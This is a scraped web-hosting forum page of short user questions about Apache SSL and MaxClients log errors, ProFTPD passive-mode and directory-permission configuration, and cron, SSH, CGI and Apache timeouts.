I see following errors in my server ie. httpd error logs: Code: [Mon Mar 30 07:23:55 2009] [error] mod_ssl: SSL handshake failed (server localhost:443, client 79.132.204.192) (OpenSSL library error follows) [Mon Mar 30 07:23:55 2009] [error] OpenSSL: error:1408F455:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac [Mon Mar 30 07:23:55 2009] [error] mod_ssl: SSL handshake failed (server localhost:443, client 60.63.241.18) (OpenSSL library error follows) [Mon Mar 30 07:23:55 2009] [error] OpenSSL: error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol [Hint: speaking not SSL to HTTPS port!?] [Mon Mar 30 07:23:56 2009] [error] [client 114.224.169.0] File does not exist: /var/www/html/XRkVCfvCJ/GzTk/ChDbhf/-YSDDv/1Sch/2hfMMf/-M0DO/ACDEzXMEM/CYSkGFj/SGXtEUX0W/0KMV/RKJ2fTUDC/bFT/SX00/VtJVht/D1XvJBgHP/5lll.gif [Mon Mar 30 08:46:42 2009] [error] server reached MaxClients setting, consider raising the MaxClients setting In last you can see that MySQL reached maximum allowed client ..and it crashed Also, at regular intervals I see such requests: /var/www/html/XRkVCfvCJ/GzTk/ChDbhf/-YSDDv/1Sch/2hfMMf/-M0DO/ACDEzXMEM/CYSkGFj/SGXtEUX0W/0KMV/RKJ2fTUDC/bF/SX00/VtJVht/D1XvJBgHP/5lll.gif Also I see SSL handshake failure notices while I do not have any SSL cert or SSL running site on this server.
View Replies!
View Related
Proftpd :: Data Socket Error: No Route To Host
i get this error I no u gotta added 2 lines in proftpd.conf but i can't seem to find it no where! here's my errors! [L] PASV [L] 227 Entering Passive Mode (64,85,164,21,193,144). [L] Opening data connection IP: 64,85,164,21 PORT: 49552 [L] Data Socket Error: No route to Host [L] List Error [L] PASV [L] 227 Entering Passive Mode (64,85,164,21,202). [L] Opening data connection IP: 64,85,164,21 PORT: 57546 [L] Data Socket Error: No route to Host [L] List Error [L] 421 No Transfer Timeout (300 seconds): closing control connection. [L] Connection lost: 64,85,164,21 i really do not no there's a command for passive mode or something in proftpd.conf can't seem to find it no where!
View Replies!
View Related
Proftpd Config - How To Make Directory Have Read/write Access
Followed the guide over at [url]to get proftpd setup. It only lists ways to create a single upload directory and a single download directory. Tried all possible ways to get a directory creating allowing read/write but so far unsuccessful. how this can be acheived? Here is my current config. #start of config <Directory /home/FTP-shared> Umask 022 022 AllowOverwrite off <Limit MKD STOR DELE XMKD RNRF RNTO RMD XRMD> DenyAll </Limit> </Directory> <Directory /home/FTP-shared/download/*> Umask 022 022 AllowOverwrite off <Limit MKD STOR DELE XMKD RNEF RNTO RMD XRMD> DenyAll </Limit> </Directory> <Directory> /home/FTP-shared/upload/> Umask 022 022 AllowOverwrite on <Limit READ RMD DELE> DenyAll </Limit> <Limit STOR CWD MKD> AllowAll </Limit> </Directory> #end of config /home/FTP-shared/read-write is the folder I want to be able to read and write data to.
View Replies!
View Related
Does Cron Timeout?
Simply wondering, does cron timeout? I have heard mixed reports and can't find any good info. Personally i've run a cronjob for up to 6 minutes, but as my best method was sending myself emails through php, its not exactly a highly accurate testing method. On the same note, what would happen if one cronjob is running a php script for over 10 minutes, then another cron job starts on the same script, before the first one has finished?
View Replies!
View Related
Vps Timeout
I got my VPS a few days ago and want to get started. I installed Webmin (with the rpm - centos 5), and it says it installed successfully and then I can login. I typed in my domain name with the ':10000' but I get a network timeout in Firefox. I know my DNS is right, because I have the domain name pointed to my IP address with an A record. SSH is working fine, I can login using the domain name and not my IP address. I tried installing Lighttpd, but still get the timeout. Replacing the domain name with the VPS IP address doesn't work either.
View Replies!
View Related
SSH Timeout
Is there a way to increase the timeout for a SSH connection when idle? Mine (on my server) seems to time out after 15-20 mins of inactivity. I'd like to increase this to like 60 mins or indefinitely.
View Replies!
View Related
CGI Timeout
When i try to login my forum after waiting alittle following error occured Code: CGI Timeout The specified CGI application exceeded the allowed time for processing. The server has deleted the process
View Replies!
View Related
Unique Apache Timeout
I have a new website that has a similar feature to tripadvisor's Reviews, where users share detailed thoughts and experiences. They fill in all this information on one form so there is no interaction with the system while they are writing. I know Apache has the TimOut setting which is set to 5 minutes by default. This ensures that you do not have users using active memory and sessions for a long period of time. But the problem I have seen is that some users are spending 15-20 minutes writing very detailed experiences and when they hit the submit button obviously their session has timed out and they lose everything and get a system error. I really don't want to change the TimeOut value in Apache to 20 min due to resource constraints, but is this my only option?
View Replies!
View Related
|
TRACKER
